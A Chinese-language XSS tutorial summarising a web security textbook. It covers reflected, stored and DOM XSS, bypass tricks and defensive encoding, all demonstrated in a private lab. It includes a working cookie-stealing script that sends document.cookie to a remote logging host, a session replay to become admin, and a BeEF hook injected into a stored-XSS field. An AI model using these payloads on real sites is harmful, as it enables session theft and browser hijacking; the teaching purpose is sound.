WEB安全基礎篇-跨站指令碼攻擊(XSS)

語言: CN / TW / HK

前言

此文章總結學習於《白帽子講WEB安全》

跨站指令碼攻擊(XSS)是客戶端安全的頭號大敵,OWASP TOP 10多次把xss列在榜首。

一、XSS簡述

XSS攻擊是指黑客通過“HTML注入”篡改網頁,插入惡意的指令碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的html程式碼會被執行,從而達到惡意使用者的特殊目的。

1.1 什麼是XSS

假設一個使用者輸入的引數直接輸出到頁面上**(本章全程使用phpStudy進行環境部署)**

<?php
$input = $_GET["test"];
echo "<div>".$input."</div>";
?>

訪問此php介面,想test引數提交資料,頁面會展示提交的資料內容

http://192.168.163.131/test.php?test=ceshi

上面我們可以看到和我們猜想的一樣。

如果我們提交的資料改為一段js程式碼

http://192.168.163.131/test.php?test=<script>alert(/test!!!/)</script>

我們看到script指令碼被執行,我們在看一下原始碼

<div><script>alert(/test!!!/)</script></div>

script指令碼被載入到頁面中,這顯然是有問題的。

1.2 XSS分類

XSS根據效果可以分為三類:

反射型XSS

我們上面的例子就是反射型的xss,就是把使用者輸入的資料“反射”給瀏覽器,也就是說,使用者在訪問惡意連結時,才能攻擊成功,反射型xss也叫做非永續性xss。

儲存型XSS

儲存型xss會把使用者輸入的資料儲存在伺服器端,這種sxx具備很強的穩定性,常見的場景就是,黑客寫下一篇包含惡意js指令碼的部落格,其他使用者瀏覽包含惡意js指令碼的部落格,會在他們瀏覽器上執行這段惡意程式碼。包含惡意js指令碼的部落格是儲存在服務端的,所以這種xss攻擊叫做“儲存型xss"

DOM XSS

這類XSS非按照資料是否儲存在服務的來劃分的,DOM XSS與反射性XSS、儲存型XSS的主要區別在於DOM XSS的XSS程式碼不需要服務端解析響應的直接參與,觸發XSS的是瀏覽器端的DOM解析。

1.3 DOM XSS漏洞演示

通過修改頁面的DOM節點形成的xss,稱之為DOM XSS

看如下程式碼

<script>

function test(){
	var str = document.getElementById("test").value;
	document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>

<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />

點選wirte會有一個超連結,其地址為文字框的內容。

這裡的wirte按鈕的onclick事件呼叫了test()函式。而在test()函式。而在test()函式中,修改了頁面的DOM節點,通過innerHTML把一段使用者資料當作html寫入到頁面中,這就造成了DOM based XSS。

構造如下資料

' onclick=alert(/xss/) //

輸入之後介面程式碼局變成了

<a href='' onclick=alert(/xss/) //' >testLink</a>

首先用一個單引號閉合掉href的第一個單引號,然後插入一個onclick事件,最後用註釋符“//”註釋掉單引號。點選新生連線,指令碼將被執行。

實際上,這裡還有另外一種利用方式,除了構造一個新事件外,還可以選擇閉合掉標籤,並插入一個新的HTML標籤。嘗試如下輸入

'><img src=# onerror=alert(/xss1/) /><'

頁面程式碼變成了

<a href=''><img src=# onerror=alert(/xss1/) /><'' >testLink</a>

指令碼被執行

二、XSS攻擊進階

2.1 初探XSS Payload

XSS攻擊成功後,攻擊者能過對使用者當前瀏覽的頁面進行植入惡意指令碼,通過惡意指令碼,控制使用者的瀏覽器。這些以完成各種功能的惡意指令碼,被稱為“XSS Payload”

XSS Payload實際上就是javascript(flash或其他富客戶端的指令碼),所以在任何JavaScript指令碼能實現的功能,xxs payload都能做到。

2.1.1 Cookie 劫持

cookie中一般加密儲存了當前使用者的登入憑證。攻擊者如果獲取cookie就可以不通過密碼登入平臺

攻擊者載入一個遠端指令碼

http://192.168.114.130/admin.php?time=1"><script src=http://192.168.163.128/evil.js></script>

真正xxs payload寫在這個遠端指令碼中,避免直接在url中寫入大量的javascript程式碼

evil.js檔案

var img = document.createElement("img");
img.src = "http://192.168.163.143/log?" +escape(document.cookie);
document.body.appendChild(img);

這段是插入一個看不到的圖片,同時把document.cookie物件當作引數傳送到遠端伺服器。,實際上http://192.168.163.143/log不用存在,因為這個請求會在遠端伺服器上的web日誌中記錄

tail -f /var/log/apache2/access.log

2.1.2 cookie登入

首先管理員使用者登入cms測試平臺

F12在控制檯輸入

document.cookie

登入test使用者,使用burp攔截請求包,將cookie修改為admin使用者的cookie

放開攔截,我們發現test變為admin使用者

所以xss攻擊,可以完成cookie劫持攻擊。我們一般通過在cookie中增加httponly標識可以防止cookie劫持。

2.2 強大的XSS Payload

ciooke劫持並非所有時候都有效,有的網站可能會在set-cookie時給關鍵cookie植入HttpOnly標識;有些網站可能會把cookie與客戶端IP繫結。從而是的xss竊取cookie失去意義。

儘管如此,在xss攻擊成功後,攻擊者仍然有許多方式能控制使用者的瀏覽器

1、構造GET與POST請求

2、使用XSS釣魚,模擬一個登入視窗等。

3、識別使用者瀏覽器

我們可以通過xss收集一些使用者個人資訊,實現精準的瀏覽器記憶體攻擊,最終實現給電腦注入一個木馬。

navigator.userAgent

OS版本資訊:Windows NT 6.1; Win64; x64
瀏覽器版本:Chrome 101.0.4951.64

但是這個useragent資訊是可以偽造的,所以通過javascript取出來的這個資訊不一定正確。

4、識別使用者安裝的軟體

知道使用者的瀏覽器、作業系統後,進一步識別使用者安裝的軟體。

5、CSS History Hack

其原理市利用style的visited屬性,如果使用者曾經訪問某個連線,那麼這個連結的顏色會變得與眾不同。

<body>
	<a href=# > 曾經訪問過的 </a>
	<a href="notexist">未曾訪問過的</a>
</body>

6、獲取使用者的真實IP地址

2.3 XSS攻擊平臺

xss payload如此強大,為了方便,安全研究者將許多功能封裝起來,成為xss攻擊平臺。

AttackApi是一個用於XSS攻擊的JS庫,你不用再寫那些繁瑣的涉及到各種標籤各種dom各種系統各種瀏覽器的基礎程式碼,直接呼叫AttackAPI為你封裝好的那些函式即可。

2.3.1 Beefxss工具演示

工具介紹

BeEF-XSS是一款非常強大的web框架攻擊平臺,集成了許多payload,可以實現許多功能。

BeEF-XSS生成互動paylaod的hook
伺服器端:beef作為服務端管理,管理訪問運行了hook的客戶端
客戶端:執行與客戶端瀏覽器的 Javascript 指令碼(hook),也就是beef生成的payload。
beef將運行了hook的web瀏覽器鉤住,進行管理

beef能配合xss,將hook插入到存在xss的注入處;直接誘使客戶端訪問含有 hook 的偽造站點,結合中間人攻擊注入 hook 指令碼

工具下載

beef只支援Linux平臺,Ruby的版本需要在2.5以上,kali中自帶beef

下載: git clone https://github.com/beefproject/beef

安裝配置檢視: https://github.com/beefproject/beef/wiki/Installation

beef如果用於實戰的話,需要建立連線的時候要使受害機能訪問到beef,因此需要一個公網ip。

使用測試

kali攻擊者:192.168.163.128

DVWA靶機:192.168.163.131

1、更該beef的預設使用者名稱密碼

vi /etc/beef-xss/config.yaml

beef的預設使用者名稱密碼為beef、beef,如果需要更改beef的使用者密碼,則在配置檔案裡面更改user和passwd的值,(預設是修改密碼的,不然啟動的時候會報警告)。

啟動beef服務端

beef-xss

beef的服務端地址,使用者密碼為預設的beef,密碼為你自己修改之後的密碼

http://127.0.0.1:3000/ui/panel

登入成功後,這裡會顯示線上和不線上的主機,線上就是現在該主機瀏覽器執行了我們的js指令碼程式碼,不線上的就是該主機曾經執行過我們的js指令碼程式碼,但現在關掉了該介面。

插入指令碼hook到靶機

我們的hook啟動的時候已經給出:

[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

kali的地址為192.168.163.128,那麼靶機上插入的hook js指令碼為:

<script src="http://192.168.163.128:3000/hook.js"></script>

在靶機DVWA,把"DVWA security"等級改成"low",然後開啟"XSS stored",把我們的指令碼程式碼儲存起來。這樣就形成了一個儲存型XSS,當受害者(windows 7)瀏覽該頁面時,就被劫持了。

留言提交後,靶機的瀏覽器就被beef鉤上了:

beef管理

在beef上鉤了的受害機,beef對其可以獲取很多主機、瀏覽器資訊

1、Details是瀏覽器資訊詳情

2、logs模組-日誌記錄

3、commands-命令模組

主要模組

-Browsers(瀏覽器)
- Exploits(攻擊)
- Host(主機)
- Persistence(持久)
- Network(網路)

綠色圓圈:表示模組適合目標瀏覽器,並且執行結果對客戶端不可見

紅色圓圈:表示模組不適用與當前使用者,有些紅色模組也可以正常執行

橙色圓圈:模組可用,但結果對使用者可見(CAM 彈窗申請許可權)

灰色圓圈:模組未在目標瀏覽器上測試過

XSS-Proxy

是一個輕量級的XSS攻擊平臺,通過巢狀iframe的方式可以實時地遠端控制被XSS攻擊的瀏覽器

2.4 XSS Worm

一般來說,使用者之間發生互動行為的頁面,如果存在儲存型XSS,則比較容易發生xss worn攻擊。比如:使用者留言,個人資訊等

2.5 XSS構造技巧

2.5.1 利用字元編碼

在使用GB2312編碼的網頁上,script標籤輸出一個變數,提交輸入的是 “;alert(/xss/)” 來實現xss攻擊,使用 " 來閉合前面的符號,但是頁面轉義了雙引號,所以實際程式碼如下:

let redirectUrl = "\";alert(/xss/);";

正常情況下這樣是沒發引起xss的,因為變數處於雙引號之內,系統轉義了雙引號。

但在使用GB2312編碼頁面中, “%c1\”兩個字元組合在一起會成為一個unicode字元,於是可以構造輸入

let redirectUrl = "%c1\";alert(/xss)";

提交之後,通過GB2312編碼轉義就會變成

let redirectUrl = "繺";alert(/xss/);

剛好把“\”給覆蓋掉。

"%c1" 這兩個字元組成一個新的unicode字元,"%c1" 把轉義符"\“ 給吃掉了,從而繞過了系統的安全檢查。

2.5.2 繞過長度限制

很多時候,產生xss的地方會有變數的長度限制,這個限制可能是伺服器端邏輯造成的,假設下面程式碼存在一個xss漏洞

<input type=test value="$var" />

伺服器如果對輸入變數”$var“ 做了嚴格的長度限制,那麼攻擊者可能會這樣xss

$var為: "><script>alert(/xss/)</script>

希望達到的輸入效果是

<input type=test value=""><script>alert(/xss/)</script> />

假設長度限制為20個字元,則這段xss會被切割為

$var 輸入為:"><script>alert(/xss

連一個完整的函式都無法寫完,這樣就xss就可能無法成功了。

但是攻擊者可以利用事件來縮短所需要的字元數

$var 輸出為:" onclick=alert(1)//

加上空格符正好20個字元,實際輸出為

<input type=test value="" onclick=alert(1)//" />

當用戶點選文字框後,alert執行

利用事件能夠縮短的位元組數是有限的,最好的辦法就是把xss payload寫到別處,在通過簡短的程式碼載入這段xss payload

通常的一個藏程式碼的地方就是 location.hash。而且跟進http協議,location.hash的內容不會在http包中傳送,所以服務端web日誌中不會記錄location.hash裡的內容。

注:hash 屬性是一個可讀可寫的字串,該字串是 URL 的錨部分(從 # 號開始的部分)。

$var 輸出為:" onclick="eval(location.hash.substr(1))

總40個位元組。輸出後的html是:

<input type=test value="" onclick="eval(location.hash.substr(1))" />

因為location.hash的第一個字元是#,substr(1)是從1開始,不是從0開始,,此時構造出來的url為

http://127.0.0.1/1.html#alert(1)

location,hash本身沒有長度限制,但瀏覽器的位址列有長度限制,如果位址列長度不夠用,還可以使用載入遠端js的方法。

2.5.3 註釋符繞過長度限制

比如我們可能控制兩個文字框,第二個文字框允許我們寫入更多位元組。我們可以通過註釋符號把兩個文字框之間的HTML程式碼全部註釋掉,從而打通兩個標籤。

<input id=1 type="text" value="" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="" />

在第一個input框中輸入

"><!--

在第二個input框中輸入

--><script>alert(/xx/)</script>

最終效果

<input id=1 type="text" value=""><!--" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="--><script>alert(/xx/)</script>" />

中間程式碼全部被註釋

<!--" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="-->

最終效果如下

2.5.4 使用< base>標籤

< base>標籤並不常用,作用是定義介面上的一個所有相對路徑 標籤的hosting地址。

比如,開啟一張不存在的圖片

<body>
<img src="/test/1.png">
</body>

實際上這個地址是一張圖片,源地址

http://127.0.0.1/test/1.png

在img標籤前面新增一個base標籤

<body>
<base href="http://127.0.0.1" />
<img src="/test/1.png">
</body>

base標籤可以出現在頁面的任何地方,並作用於位於該標籤之後的所以標籤。

如果攻擊者在頁面插入了base標籤,就可以通過遠端伺服器偽造圖片,連線或者指令碼。劫持當前頁面中所有使用相對路徑的標籤。比如:

<base href="http://www.a.com" />

<img src="/test/1.png">

<script src="x.js"></script>

<a href="auth.do">auth</a>

所以涉及xss安全方案一定要過濾掉這個非常危險的標籤。

2.5.5 window.name 的妙用

對當前視窗的window.name物件賦值,沒有特殊字元的限制。因為window物件是瀏覽器的窗體,而非document物件,因此很多時候,windwo物件不受同源策略的限制。攻擊者利用這個物件可以實現跨域、跨介面傳遞資料。在某些環境下,這些特性將會變得非常有用。

假設“http://192.168.114.130/1.html”的程式碼為

<body>
<script>
window.name = "test"
alert(document.domain+"	"+window.name)
window.location = "http://192.168.163.128/index.html"
</script>
</body>

這段程式碼將window.name賦值為test,然後顯示當前域和window.name的值,最後將其頁面跳轉到“http://192.168.163.128/index.html”。

“http://192.168.163.128/index.html”的程式碼為

<body>
<script>
alert(document.domain+"	"+window.name)
</script>
</body>

我們訪問“http://192.168.114.130/1.html”,這裡顯示了當前域和windows.name值

點選確定後,頁面自動跳轉到“http://192.168.163.128/index.html”,但是winsow.name值沒變

這個過程實現了資料跨域傳遞:test這個值從http://192.168.114.130傳遞到了http://192.168.163.128。

使用windo.name可以縮短xss payload的長度。先通過window.name寫好alert(”hello“)之類的語句,再在同一視窗開啟XSS站點後,輸入 eval(name);

2.6 反射型XSS利用技巧-迴旋鏢

將要利用的反射型XSS嵌入到一個儲存型XSS中,這個攻擊技巧稱為迴旋鏢。

因為瀏覽器同源策略的原因,xss也受到同源策略的限制,發生在A域的xss很難影響到B域的使用者。

迴旋鏢的思路:如果在B域上存在一個反射型”xss_b“,在A域上存在一個儲存型”xss-a",當用戶訪問A域的“xss-a"時,同時嵌入B域上的"xss-b",則可以達到在A域的xss攻擊B域使用者的目的。

IE瀏覽器中,< iframe>、< img>、< link>等標籤都會攔截第三方cookie的傳送。而在firefox中則無這限制(第三方cookie既指儲存在本地的cookie,也就是伺服器設定了expire(失效日期)時間的cookie。

所以在firefox中只需要在XSS-A處嵌入一個iframe標籤即可

<iframe src="http://www.b.com/?xss......"></iframe>

而在IE瀏覽器中,使用< form>表單,然後提交到B,B再跳轉會A;

2.7 Flash XSS

前面說的都是基於HTML的xss,其實Flash中同樣可能造成xss攻擊。

在Flash中是可以嵌入ActionScript指令碼的,常見的Flash xss可以這樣寫

getURL("javascript:alert(document.cookie)")

ActionScript可以發起網路連線,因此應該禁止使用者能夠上傳或者載入自定義Flash檔案。

一定要使用Flash,如果是視訊檔案,要求轉碼為”flv“檔案,flv是靜態檔案,不會產生隱患。如果是帶動態指令碼的Flash,則可以通過Flash引數進行限制。

限制Flash動態指令碼的最重要引數是”allowScriptAcccess“,這個引數定義了Flash能否域HTML頁面通訊,他有三個可選值:

always : 對於HTML的通訊也就是執行JavaScript不做任何限制。

sameDomain: 只允許來自於本域的Flash於HTML通訊,這是預設值。

never: 絕對禁止Flash與頁面通訊。

除了allowScriptAccess外,allowNetworking也是非常關鍵,這個引數可以控制Flash與外部網路通訊,他有三個可選值:

all : 允許使用所有網路通訊,預設值

internal : Flash不能與瀏覽器通訊如nacigateToURL,但是可以呼叫其他的API

none : 禁止任何的網路通訊

2.8 JavaScript開放框架

jQuery可能是目前最流行的javaScript框架。jQuery中有一個html()方法,這個方法如果沒有引數,就是一個讀取DOM節點的innerHTML,如果有引數,則會把引數寫入該DOM節點的inner HTML中,這個過程可能產生” DOM Based XSS"

$('div.demo-container').html("<img src=# onerror=alert(1) />");

如上,如果使用者能夠控制輸入,必然存在xss。

三、XSS防禦

xss的防禦是複雜的

流行瀏覽器都內建了一些對抗xss的措施,比如Firefox的CSP、Noscript擴充套件,IE8內建的XSS Filter等。而對於網站來說,也應該有保護使用者不被xss攻擊的能力。

3.1 HttpOnly

HttpOnly最早是由微軟提出,並在IE6實現,逐步稱為一個標準,瀏覽器將禁止頁面的javascript訪問帶有HttpOnly屬性的cookie。

其中IE6+、firefo、chrome很多瀏覽器現在都具備了。

嚴格地說HttpOnly並非為了對抗XSS,HttpOnly解決的是XSS後的Cookie劫持攻擊。

前面我們顯示過cookie劫持後。可以登入被劫持後的xss使用者。如果該cookie設定了HttpOnly,這種攻擊就會失敗,因為JavaScript取不到cookie的值。

一個cookie的使用過程如下:

step1: 瀏覽器向伺服器發起請求,這時候沒有cookie。

step2 : 伺服器返回時傳送set-cookie,向客戶端瀏覽器寫入cookie。

step3: 在該cookie到前期,瀏覽器訪問該域下的所有介面,都將傳送該cookie。

HttpOnly是在set-cookie時標記的

set-cookie:<name>=<value>......[; secure] [; HttpOnly]

伺服器可能會設定多個cookie(對應key-value對),而HttpOnly可以選擇性的新增任何一個cookie值上。

某些時候,應用可能需要javaScript訪問某幾項cookie,這種cookie可以不設定HttpOnly標籤,而僅把HttpOnly標記用於認證的關鍵cookie。

HttpOnly的使用非常靈活,如下是一個使用HttpOnly的過程

<?php

header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly", false);

?>

<script>
	alert(document.cookie);
</script>

在這段程式碼中,cookie1沒有httponly,cookie2被標記為HttpOnly。我們檢視請求包

瀏覽器的確接收了兩個cookie

但是隻有cookie1被JavaScript讀取到

添加了HttpOnly不等於解決了xss問題,xss攻擊還有竊取使用者資訊,模擬使用者身份執行操作等。

3.2 輸入檢查

常見的web漏洞如XSS、SQL注入等,都是要求攻擊者構造一些特殊字元,這些特殊字元可能是正常使用者不會用到的,所以就有了檢查的必要。

輸入檢查的程式碼一定要在伺服器端實現,因為如果在客戶端使用JavaScript進行輸入檢查,很容易繞過檢查。正常做法是客戶端和服務端實現相同的輸入檢查,客戶端可以阻擋大部分錯誤操作的正常使用者,可以節約伺服器的資源。

輸入檢查一般都是檢查使用者輸入的資料中是否包含一些特殊字元,如<,#等,比較智慧的,還會匹配xss的特則,如JavaScript,< img>等敏感字元。

這種輸入檢查方式可以稱為“XSS Filter",網際網路上很多開源的“XSS Filter"原始碼。

XSS Filter在使用者提交資料時獲取變數,並進行xss檢查。但此時使用者資料並沒有結合渲染介面的html,因此XSS Filter對語境的理解並不完整。

如下:

<script src="$var"></script>

$vat就是使用者可以控制的變數,使用者只要提交一個惡意指令碼所在的uel地址,就可以試試xss攻擊了。

所以XSS Filter對語境的理解並不完整,很可能改變使用者原來的意思。

3.3 輸出檢查

一般來說出來富文字的輸出外,在變數輸出到html頁面時,可以使用編碼或者轉義方式來防禦xss攻擊。

3.3.1 安全的編碼函式

編碼分為很多種,針對HTML程式碼的編碼方式為HTMLEncode。

HTMLEndo並非專用名詞,他只是一種函式實現,他的作用是將字元轉換成HTMLEntities,對應的標準是ISO-8859-1。

為了對抗xss,在HTMLEncode中要求至少轉化一下字元:

&	- 	&ampamp
<	-	&amplt
>	-	&ampgt
"	-	&ampquot
'	-	'
/	-	/

在php中,有htmlentities()和htmlspecialchars()兩個函式可以滿足安全要求。

JavaScript的編碼方式可以使用JavaScriptEncode。

JavaScriptEncode需要使用 \ 對特殊字元進行轉義。在對抗xss時候,還要去輸出變數必須在引號內部。

var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"';

如果escapeJavascript()函式只轉義了幾個危險的字元,比如‘ 、“、<、>等,那麼上面兩行程式碼輸出後可能會變成

var x = 1;alert(2);
var y = "1;alert(2)";

第一行執行額外的程式碼了,第二行是安全的,對於後者,攻擊者即使向逃逸出引號的範圍,也會遇到困難。

var y = "\";alert(1);\/\/";

所以要求使用JavaScriptEncode的變量出輸出一定要去引號內。

還有一個更加嚴格的JavaScriptEncode函式來保證安全-除了數字、字母外的所有字元,都使用十六進位制“\xHH"方式進行編碼,如下

var x = 1;alert(2);

變成了

var x = 1\x3balert\x2822\x29;

除了以上函式,還有其他函式,比如:XMLEncode(其實現與HtmlEncode類似)、JSONEncode(與JavaScriptEnde類似)等。

3.3.2 只需要一種編碼嗎

XSS攻擊主要發生在MVC架構中的View層。大部分的XSS漏洞可以在模板系統中解決。

python開放框架Django自帶的模板系統“Django Templates"中,可以使用escape進行HtmlEncode。比如:

{{var|escape}}

這樣寫變數會被HtmlEncode編碼。

在Django1.0、web2py框架中加強,預設所有變數都會被escape。符合“Secure By Default”原則。

因為語境不同,不是全部都使用auto-escape就可以,需要根據情況分情況對待。

注:經典MVC模式中,M是指業務模型,V是指使用者介面,C則是控制器,使用MVC的目的是將M和V的實現程式碼分離,從而使同一個程式可以使用不同的表現形式。其中,View的定義比較清晰,就是使用者介面。

3.4 正確地防禦XSS

XSS本質是一種HTML注入,使用者的資料被當作HTML程式碼的一部分,從而混淆原來的語義,產生新的語義。

如果網站時MVC架構,那麼XSS就發生在View層,在應用拼接變數到HTML頁面時產生。所以在提交資料處進行輸入檢查的方案,其實並不是在真正發生攻擊的地方做防禦。

我們嘗試將不同場景的xss一一列出,嘗試解決

下面變數$var 表示使用者資料。

3.4.1 在HTML標籤中輸出

<div>$var</div>
<a href=#>$var</a>

所有在標籤中輸出的變數,如果未做任何處理,都能導致直接產生XSS。

此場景下,XSS的利用方式一般都是構造一個< script>標籤,或者是任何能夠產生指令碼執行的方式。

<div><script>alert(/xss/)</script></div>

<a href=#><img src=# onerror=alert(1) /></a>

防禦方法

對變數使用HtmlEncode。

3.4.2 在HTML屬性中輸出

<div id="abc" name="$var" ></div>

與在HTML標籤中輸出類似,可能的攻擊方法

<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

防禦方法

對變數使用HtmlEncode。

3.4.3 在script標籤中輸出

在script標籤中輸出時,首先應該確保輸出的變數在引號中

<script>
var x = "$var";
</script>

攻擊者需要先閉合引號才能試試xss攻擊

<script>
var x = "”alert(/xss/);//";
</script>

防禦方法

對變數使用JavascriptEncode。

3.4.4 在事件中輸出

在事件中輸出和在< script>標籤中輸出類似

<a href=# onclick="funcA('$var')">test</a>

可能的攻擊方法

<a href=# onclick="funcA('');alert(/xss/);//')">test</a>

防禦方法

對變數使用JavascriptEncode。

3.4.5 在css中輸出

在CSS和style、style attribute中形成的xss方式非常多樣化。

防禦方法

儘可能禁止使用者可控制的變數在< style>標籤、HTML標籤的style屬性以及CSS檔案中輸出。如果一定有這種需求,則推薦使用OWASP ESAPI中的encodeForCSS函式,此函式除了字母、數字外的所有字元都被編碼成為十六進位制形式“\uHH”。

3.4.6 在地址中輸出

在URL的path(路徑)或者search(引數)中輸出使用urlEncode即可。URLEncode會將字元轉化為%HH形式,比空格就是“%20”等。

<a href="http://www.a.com/?test=$var">test</a>

可能的攻擊方法

<a href="http://www.a.com/?test=" onclick=alert(1)"" >test</a>

經過URLEncode編碼後

<a href="http://www.a.com/?test=%22%20onclick%3Dalert(1)%22" >test</a>

還有一種是url的http://(protocal部分)和IP地址(host部分)不能使用urlEncode轉發的情況

攻擊者偽造協議實施攻擊

<a href="JavaScript:alert(1)">test</a>

還有vbscript、dataURL等偽協議可能導致指令碼執行。

防禦方法

這種情況下如果變數是整改url,則先檢查變數是否以http開頭,保障不會出現偽協議的xss攻擊。在對變數進行URLEncode。

3.5 處理富文字

部分網站允許使用者提交一些自定義的HTML程式碼,稱為富文字。

富文字,應嚴格禁止< iframe>、< script>等標籤,只允許< a>、< img>等比較安全的標籤,在標籤選擇上,應該使用白名單、避免使用黑名單。

富文字在處理CSS時,儘可能的禁止使用者自定義css與style。

有些開源的XSS Filter專案,可以實現對富文字的xss檢查。

3.6 防禦DOM Based XSS

DOM Based XSS是一種比較特殊的xss漏洞,前文中提到的幾種防禦方法都不太合適,需要特別對待

我們看一下之前的例子,看一下DOM Based XSS是如何形成的呢

<script>

function test(){
	var str = document.getElementById("test").value;
	document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>

<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />

在上面程式碼onclick事件中,執行了test()函式,而函式中最關鍵的一句是

document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";

將HTML程式碼寫入DOM節點,最後導致xss的發生

事實上,DOM Based XSS是從JavaScript中輸出資料到HTML頁面裡,而前文提到的方法都是針對“從伺服器應用直接輸出到HTML頁面”的XSS漏洞,因此不適用DOM Based XSS。

看一下這個例子

<script>
	var x = "$var";
	document.write("<a href='"+x+"'>test</a>");
</script>

變數$var在script標籤內,可是最後又被document.write輸出到HTML介面中。

假設為了保護$var,直接在script標籤內產生xss,伺服器對其進行javascEscape。可是,$var在document.write時,然仍然能夠產生xss

<script>
	var x = "\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";
	document.write("<a href='"+x+"'>test</a>");
</script>

通過javascEscape編譯,但通過HTML介面渲染後,惡意程式碼又被識別出來

其原因,第一次執行JavaScriptEscape後,只保護了

var x = "$var";

但是當document.write輸出資料到html頁面時,瀏覽器渲染了介面,在< script>標籤執行時,已經對變數x進行了介面,在document.write在執行時,其引數變成了

document.write("<a href=' 'onclick=alert(1);//''>test</a>");

XSS因此產生。

那是不是對$var函式用錯了編碼方式,我們使用htmlEncode,將 Html 原始檔中不允許出現的字元進行編碼。例如:"<"、">"、"&" 等。

<script>
	var x = "1");alert("2");//""";
	document.write("<a href=# onclick='alert(\""+x+"\")' >test</a>");
</script>

防禦方法

在$var輸出到< script>標籤時,應該執行一次JavaScriptEncode,其次在document.write輸出到HTML頁面時,要分具體情況看待:如果是輸出到事件或者指令碼,則再做一次JavaScriptEncode,如果是輸出到HTML內容或者屬性,則要做一次HtmlEncode。也就是說從JavaScript輸出到HTML頁面,也等於一次xss輸出的過程,需要分語境使用不同的編碼。

會觸發DOM Based XSS的地方很多,下面是JavaScript輸出到HTML頁面的必經之路

document.write()
document.writeln()
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent()
window.attachEvent()
document.location.replace()
document.location.assign()
......

除了伺服器端直接輸出變數到JavaScript外,還有以下幾個地方可能會成為DOM Based XSS的輸入點。

頁面中所有inputs框
window.location(href、hash等)
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的資料
......

四、總結

本章從主要是從認識xss、xss payload、xss構造技巧和xss防禦方法詳細講述了三類(反射型、儲存型、DOM型)XSS漏洞。一般來說儲存型的威脅最大,因為可能會跨頁面存在也反射型和DOM則需要攻擊者誘使使用者點選一個包含xss程式碼的URL連線。理論上,xss漏洞雖然複雜,但卻是可以徹底解決的。需要針對不同場景使用不同的防禦方法。